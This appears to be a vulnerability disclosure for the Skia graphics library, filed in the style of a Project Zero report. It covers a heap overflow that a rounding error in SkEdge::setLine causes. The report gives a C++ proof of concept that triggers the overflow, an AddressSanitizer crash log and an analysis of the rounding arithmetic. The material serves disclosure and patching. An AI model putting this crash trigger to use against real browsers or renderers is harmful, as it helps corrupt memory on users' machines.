Skia Graphics Library: heap overflow due to rounding error in SkEdge::setLine Skia bug: https://bugs.chromium.org/p/skia/issues/detail?id=6294 There is a heap overflow in SkARGB32_Shader_Blitter::blitH caused by a rounding error in SkEdge::setLine. To trigger the bug Skia needs to be compiled with SK_RASTERIZE_EVEN_ROUNDING (true in, for example, Mozilla Firefox). To demonstrate the bug, compile (with SK_RASTERIZE_EVEN_ROUNDING defined) and run the following Proof of Concept: ================================================================= #include "SkCanvas.h" #include "SkPath.h" #include "SkGradientShader.h" int main (int argc, char * const argv[]) { SkBitmap bitmap; bitmap.allocN32Pixels(1128, 500); //Create Canvas SkCanvas canvas(bitmap); SkColor colors[2] = {SkColorSetARGB(10,0,0,0), SkColorSetARGB(10,255,255,255)}; SkPoint points[2] = { SkPoint::Make(0.0f, 0.0f), SkPoint::Make(256.0f, 256.0f) }; SkPath path; path.moveTo(1128, 0.5); path.lineTo(-0.499, 100.5); path.lineTo(1128, 200); path.close(); SkPaint p; p.setAntiAlias(false); p.setShader(SkGradientShader::MakeLinear( points, colors, nullptr, 2, SkShader::kClamp_TileMode, 0, nullptr)); canvas.drawPath(path, p); return 0; } ================================================================= The PoC leads to a heap overflow in SkARGB32_Shader_Blitter::blitH (the shader and anti aliasing settings in the PoC are made specifically to select this Blitter) ASan log: ================================================================= ==46341==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001dea0 at pc 0x00000079d6d1 bp 0x7ffecd6a42c0 sp 0x7ffecd6a42b8 WRITE of size 4 at 0x62100001dea0 thread T0 #0 0x79d6d0 in sk_memset32(unsigned int*, unsigned int, int) /home/ifratric/skia/skia/out/asan/../../src/core/SkUtils.cpp:18:19 #1 0x8025f1 in SkLinearGradient::LinearGradientContext::shade4_clamp(int, int, unsigned int*, int) /home/ifratric/skia/skia/out/asan/../../src/effects/gradients/SkLinearGradient.cpp:842:13 #2 0x802219 in SkLinearGradient::LinearGradientContext::shadeSpan(int, int, unsigned int*, int) /home/ifratric/skia/skia/out/asan/../../src/effects/gradients/SkLinearGradient.cpp:349:9 #3 0xc946f7 in SkARGB32_Shader_Blitter::blitH(int, int, int) /home/ifratric/skia/skia/out/asan/../../src/core/SkBlitter_ARGB32.cpp:384:9 #4 0x779484 in walk_convex_edges(SkEdge*, SkPath::FillType, SkBlitter*, int, int, void (*)(SkBlitter*, int, bool)) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:295:21 #5 0x778107 in sk_fill_path(SkPath const&, SkIRect const&, SkBlitter*, int, int, int, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:508:9 #6 0x77afe3 in SkScan::FillPath(SkPath const&, SkRegion const&, SkBlitter*) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:707:9 #7 0x765792 in SkScan::FillPath(SkPath const&, SkRasterClip const&, SkBlitter*) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:745:9 #8 0x632690 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1072:5 #9 0x63321c in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1165:5 #10 0xc5c5b3 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.h:54:9 #11 0xc5c5b3 in SkBitmapDevice::drawPath(SkDraw const&, SkPath const&, SkPaint const&, SkMatrix const*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:243 #12 0x51f6b8 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /home/ifratric/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2379:9 #13 0x4f805d in main /home/ifratric/skia/skia/out/asan/../../crash.cpp:34:5 #14 0x7f64ed80f82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #15 0x426788 in _start (/home/ifratric/skia/skia/out/asan/crash+0x426788) 0x62100001dea0 is located 0 bytes to the right of 4512-byte region [0x62100001cd00,0x62100001dea0) allocated by thread T0 here: #0 0x4c6728 in __interceptor_malloc (/home/ifratric/skia/skia/out/asan/crash+0x4c6728) #1 0x7e3d38 in sk_malloc_flags(unsigned long, unsigned int) /home/ifratric/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:72:15 #2 0x7e3d38 in sk_malloc_throw(unsigned long) /home/ifratric/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:58 #3 0xc8598d in SkARGB32_Shader_Blitter* SkArenaAlloc::make(SkPixmap const&, SkPaint const&, SkShader::Context*&) /home/ifratric/skia/skia/out/asan/../../src/core/SkArenaAlloc.h:94:30 #4 0xc8598d in SkBlitter::Choose(SkPixmap const&, SkMatrix const&, SkPaint const&, SkArenaAlloc*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBlitter.cpp:919 #5 0x632542 in SkAutoBlitterChoose::choose(SkPixmap const&, SkMatrix const&, SkPaint const&, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:69:20 #6 0x632542 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1018 #7 0x63321c in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1165:5 #8 0xc5c5b3 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.h:54:9 #9 0xc5c5b3 in SkBitmapDevice::drawPath(SkDraw const&, SkPath const&, SkPaint const&, SkMatrix const*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:243 #10 0x4f805d in main /home/ifratric/skia/skia/out/asan/../../crash.cpp:34:5 #11 0x7f64ed80f82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ifratric/skia/skia/out/asan/../../src/core/SkUtils.cpp:18:19 in sk_memset32(unsigned int*, unsigned int, int) Shadow bytes around the buggy address: 0x0c427fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbbb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbbc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c427fffbbd0: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbc10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbc20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==46341==ABORTING Further analysis: There is a problem in SkEdge::setLine, in particular the line with x0:-0.499900, y0:100.500000, x1:1128.000000, y1:0.500000 After conversion to SkFDot6, the coordinates are going to become x0:72192, y0:32, x1:-32, y1:6432 (notice how x0 got rounded to 32 == -0.5 but I don't think this is the only problem as it gets even smaller below) Next the line parameters are computed as follows: fFirstY:1, fLastY:100, fX:73184256, fDX:-739573 And if you calculate fX + (fLastY-fFirstY) * fDX, you get -33471 (~ -0.51) which will get rounded to -1 in walk_convex_edges and cause an overflow. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: ifratric